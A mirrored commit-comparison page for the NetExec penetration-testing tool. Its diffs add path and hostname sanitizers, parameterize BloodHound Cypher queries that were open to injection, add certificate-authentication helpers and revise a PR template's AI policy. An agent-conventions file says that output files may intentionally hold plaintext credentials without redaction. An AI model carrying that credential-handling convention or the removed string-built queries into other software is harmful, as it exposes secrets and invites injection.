mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
233
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
468f5923ed | ||
|
|
7def180f59 | ||
|
|
c14cab226e | ||
|
|
68e1ad2031 | ||
|
|
8a502536d5 | ||
|
|
35a02b4059 | ||
|
|
98a4679a23 | ||
|
|
9ddb09a0bc | ||
|
|
a5e9d4a4e5 | ||
|
|
7b98eccef5 | ||
|
|
a1036a1677 | ||
|
|
901d53ade4 | ||
|
|
396e34fe82 | ||
|
|
b09311a9df | ||
|
|
62fc9a6ffa | ||
|
|
aaaa369156 | ||
|
|
57daa0baeb | ||
|
|
7eb995f6cb | ||
|
|
bf32ced7d7 | ||
|
|
59c451d36f | ||
|
|
735ccc3db2 | ||
|
|
bcf045a882 | ||
|
|
f51dd4f4df | ||
|
|
89a698d93d | ||
|
|
6c312cd791 | ||
|
|
0602ef4367 | ||
|
|
28e585121f | ||
|
|
f7835c3ba7 | ||
|
|
a419bd58e3 | ||
|
|
893ff6f1ff | ||
|
|
1d8296c67c | ||
|
|
ca96761290 | ||
|
|
e9fd573953 | ||
|
|
93afe3e049 | ||
|
|
f5d2c8803f | ||
|
|
90f2d9c165 | ||
|
|
9ec65be0c8 | ||
|
|
c6665867bf | ||
|
|
43c569aa8d | ||
|
|
f8b53ae8ba | ||
|
|
f0c40cd85d | ||
|
|
306bf295dc | ||
|
|
0c21bf9bcd | ||
|
|
ec6d41f10e | ||
|
|
7135d89d92 | ||
|
|
94048441cb | ||
|
|
609f03a184 | ||
|
|
535f26ddc5 | ||
|
|
8f2fa9689e | ||
|
|
9592f690fd | ||
|
|
0ded751b31 | ||
|
|
8adf9cbd55 | ||
|
|
7a199c211f | ||
|
|
ea761c1330 | ||
|
|
d688285c76 | ||
|
|
064374ceb9 | ||
|
|
07aef24f0f | ||
|
|
3e0e37e8b5 | ||
|
|
b37469c673 | ||
|
|
59bfc04b7e | ||
|
|
641ba4d486 | ||
|
|
61bec860e9 | ||
|
|
47025801b1 | ||
|
|
71c36e9a09 | ||
|
|
6555186bce | ||
|
|
bb7afd4a09 | ||
|
|
226a2f4d3e | ||
|
|
e056c5a857 | ||
|
|
d8bc2f7dc8 | ||
|
|
13d00e4b22 | ||
|
|
910415c897 | ||
|
|
91b0964e75 | ||
|
|
4187fa7bf7 | ||
|
|
74c93d147d | ||
|
|
ba64b23ff5 | ||
|
|
752c43f0c8 | ||
|
|
641f99d192 | ||
|
|
a47d07e005 | ||
|
|
87d34add5f | ||
|
|
bde37055bc | ||
|
|
654f3c12d8 | ||
|
|
31ca909e4e | ||
|
|
5e31253313 | ||
|
|
150f323e90 | ||
|
|
736ca36c56 | ||
|
|
25076be9df | ||
|
|
88c4963fc6 | ||
|
|
c812041b17 | ||
|
|
23be541d0a | ||
|
|
a995133e83 | ||
|
|
c375b3bb8c | ||
|
|
4134e689e0 | ||
|
|
83df61b0bd | ||
|
|
bd87cc26ee | ||
|
|
1b3f75b06b | ||
|
|
18a2bfa6de | ||
|
|
ed9fb8b33f | ||
|
|
fb0fbc197d | ||
|
|
c8394ad1d6 | ||
|
|
72abb0776e | ||
|
|
cd956dd91f | ||
|
|
27a3a3a796 | ||
|
|
ef3d4c8a76 | ||
|
|
643c9370e5 | ||
|
|
2f1c3e0275 | ||
|
|
26568e44ab | ||
|
|
b9535e6775 | ||
|
|
e3d86824ee | ||
|
|
fdb60ae38e | ||
|
|
a8dec3c6f7 | ||
|
|
f1726b0520 | ||
|
|
fc3fb874c0 | ||
|
|
9bfa036013 | ||
|
|
3e0cc700e7 | ||
|
|
553224031e | ||
|
|
421bd670d2 | ||
|
|
1920b3b515 | ||
|
|
f55edf3987 | ||
|
|
af92759b49 | ||
|
|
3a7bf59909 | ||
|
|
12ebe0d34b | ||
|
|
818985bdd3 | ||
|
|
e63a43c1f0 | ||
|
|
b4ce916a03 | ||
|
|
3808655afa | ||
|
|
a0a37b7af8 | ||
|
|
475a8419c7 | ||
|
|
76486f14a5 | ||
|
|
f0e0cc6c84 | ||
|
|
03ae02ec01 | ||
|
|
57c5af5fc2 | ||
|
|
9eb36e489b | ||
|
|
325cd1c73b | ||
|
|
efb0f308e9 | ||
|
|
3299d94e92 | ||
|
|
4f6ef43aca | ||
|
|
ff52856d2e | ||
|
|
99c65e87b0 | ||
|
|
60b3a5d3d0 | ||
|
|
22840bfc2a | ||
|
|
615a501dff | ||
|
|
5f5aa26a46 | ||
|
|
85aa3486d8 | ||
|
|
11d9151737 | ||
|
|
a43afcee4f | ||
|
|
4fd05318df | ||
|
|
e193097969 | ||
|
|
5b83b43486 | ||
|
|
d4cdc6c019 | ||
|
|
3746e0d8cc | ||
|
|
852549566c | ||
|
|
d5e04789c4 | ||
|
|
db63325450 | ||
|
|
0b3f805283 | ||
|
|
a6017269af | ||
|
|
44267c807f | ||
|
|
0cc365cef2 | ||
|
|
b328661dd4 | ||
|
|
7fd40a391c | ||
|
|
467123465a | ||
|
|
0de205c95f | ||
|
|
887941fc50 | ||
|
|
5e95c3490e | ||
|
|
59d29c895a | ||
|
|
ce33ac0f8d | ||
|
|
2e96341424 | ||
|
|
78d607b84b | ||
|
|
34b7a35118 | ||
|
|
48cc6b0e30 | ||
|
|
65f4714953 | ||
|
|
3c52ecb40e | ||
|
|
ee9f59e513 | ||
|
|
b6f20e40b9 | ||
|
|
ab4a44cf4d | ||
|
|
4711814adb | ||
|
|
a819614fc2 | ||
|
|
14f10c31f8 | ||
|
|
5b1ee92773 | ||
|
|
ab7c2d56d3 | ||
|
|
5d45303e19 | ||
|
|
ac6f58149f | ||
|
|
78169e8354 | ||
|
|
22db44f380 | ||
|
|
2aa0601c88 | ||
|
|
ae77d482b9 | ||
|
|
9bba4a1013 | ||
|
|
5b6647b4d0 | ||
|
|
d950a5cc13 | ||
|
|
163139b115 | ||
|
|
130c668de8 | ||
|
|
7ca004be28 | ||
|
|
5bd45d2ca6 | ||
|
|
d97907bff8 | ||
|
|
98ae72fa2c | ||
|
|
6c59c7a11e | ||
|
|
f6e85c809e | ||
|
|
6b030fce79 | ||
|
|
c79f649f9d | ||
|
|
f01876f3f9 | ||
|
|
9bd4e8e832 | ||
|
|
c94d00fbc1 | ||
|
|
7fcb9b26ae | ||
|
|
812c63e00b | ||
|
|
59c032e4dd | ||
|
|
e8ad9528f9 | ||
|
|
09f3f823c6 | ||
|
|
c20060a64a | ||
|
|
77f7f19223 | ||
|
|
262487ba03 | ||
|
|
e2a7b853d7 | ||
|
|
50d9103181 | ||
|
|
7fed03bd6a | ||
|
|
2c5abef853 | ||
|
|
b96c7899ee | ||
|
|
7cad502a16 | ||
|
|
3c7497e728 | ||
|
|
412b97af50 | ||
|
|
e7304d9ec9 | ||
|
|
f3a90d9aca | ||
|
|
d21ee2d6b1 | ||
|
|
ccf36b492e | ||
|
|
9c293a8eb9 | ||
|
|
68abd128e6 | ||
|
|
adfd529593 | ||
|
|
a8a94671ea | ||
|
|
fea06fe912 | ||
|
|
6512a9801e | ||
|
|
a29c162d33 | ||
|
|
03c2821c11 | ||
|
|
664055c7c3 | ||
|
|
ac55e28fee | ||
|
|
74c2cd0c89 | ||
|
|
5b1cacf566 |
No files matched your search
@@ -2,10 +2,16 @@
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
### AI Assistance
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
|
||||
|
||||
Note that if you have used AI, you:
|
||||
- MUST test the changes against a live system
|
||||
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
|
||||
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
Insert an "x" inside the brackets for relevant items
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
|
||||
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
+9
-37
@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
@@ -100,37 +96,6 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
@@ -251,7 +216,7 @@ class connection:
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
@@ -559,6 +524,7 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
from impacket.krb5.ccache import CCache
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
@@ -567,14 +533,20 @@ class connection:
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
|
||||
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -1,9 +1,12 @@
|
||||
from contextlib import suppress
|
||||
from enum import Enum
|
||||
import hashlib
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from unicodedata import normalize
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def sanitize_dns(hostname, logger=nxc_logger):
|
||||
"""Return an untrusted hostname or domain as a safe, nonempty string."""
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
if hostname is None:
|
||||
return "_"
|
||||
|
||||
try:
|
||||
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
|
||||
except Exception:
|
||||
return "_"
|
||||
if not hostname:
|
||||
return "_"
|
||||
|
||||
# Replace path, configuration, formatting, whitespace, and control characters.
|
||||
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and not character.isspace()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in hostname
|
||||
)
|
||||
|
||||
# Neutralize traversal segments and Windows-trimmed trailing dots.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Bound filename length while retaining a stable identifier for long names.
|
||||
if len(sanitized.encode("utf-8")) > 253:
|
||||
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > 253 - len(suffix):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{suffix}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > 253
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character.isspace()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable()
|
||||
or normalized_character.isspace()
|
||||
or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
sanitized = "_"
|
||||
|
||||
# Report changed input without allowing logging failures to affect safety.
|
||||
if sanitized != hostname:
|
||||
received = ascii(hostname[:256])
|
||||
result = ascii(sanitized)
|
||||
if len(hostname) > 256 or len(received) > 256:
|
||||
received = f"{received[:253]}..."
|
||||
if len(result) > 256:
|
||||
result = f"{result[:253]}..."
|
||||
if logger is not None:
|
||||
with suppress(Exception):
|
||||
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
|
||||
return sanitized
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
@@ -12,6 +12,7 @@ import contextlib
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"dns_hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
@@ -20,6 +21,9 @@ def parse_challenge(challange):
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
|
||||
@@ -1,4 +1,98 @@
|
||||
import hashlib
|
||||
from pathlib import PurePosixPath
|
||||
import re
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
def sanitize_path_component(name, max_bytes=255):
|
||||
"""Return one portable, bounded path component from untrusted input."""
|
||||
# Reserve enough space for one character and the collision-resistant suffix.
|
||||
if max_bytes < 14:
|
||||
raise ValueError("max_bytes must be at least 14")
|
||||
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
try:
|
||||
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
|
||||
except Exception:
|
||||
name = ""
|
||||
if not name:
|
||||
return "_"
|
||||
|
||||
# Replace path, control, and Unicode-equivalent metacharacters.
|
||||
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable() and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in name
|
||||
)
|
||||
|
||||
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
while sanitized and (
|
||||
sanitized[-1] == "."
|
||||
or sanitized[-1].isspace()
|
||||
or normalize("NFKC", sanitized[-1]).endswith(".")
|
||||
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
|
||||
):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Avoid Windows device names, including names followed by an extension.
|
||||
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
|
||||
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
|
||||
sanitized = f"_{sanitized}"
|
||||
|
||||
# Bound the byte length with a stable digest while preserving short extensions.
|
||||
if len(sanitized.encode("utf-8")) > max_bytes:
|
||||
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
extension = ""
|
||||
extension_index = sanitized.rfind(".")
|
||||
if (
|
||||
extension_index > 0
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= 32
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
|
||||
):
|
||||
extension = sanitized[extension_index:]
|
||||
sanitized = sanitized[:extension_index]
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{digest}{extension}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > max_bytes
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or normalized[-1].isspace()
|
||||
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable() or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
return "_"
|
||||
return sanitized
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
|
||||
+26
-4
@@ -28,6 +28,7 @@
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import tempfile
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
@@ -70,7 +71,8 @@ from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -187,7 +189,7 @@ class myPKINIT:
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
@@ -530,8 +532,8 @@ def pfx_auth(self):
|
||||
return False
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
@@ -568,3 +570,23 @@ def pfx_auth(self):
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
|
||||
if args.pfx_cert:
|
||||
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
|
||||
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
|
||||
with os.fdopen(handle, "wb") as pfx_file:
|
||||
pfx_file.write(pfxdata)
|
||||
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
|
||||
|
||||
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
@@ -99,3 +99,34 @@ class NXCRPCConnection:
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
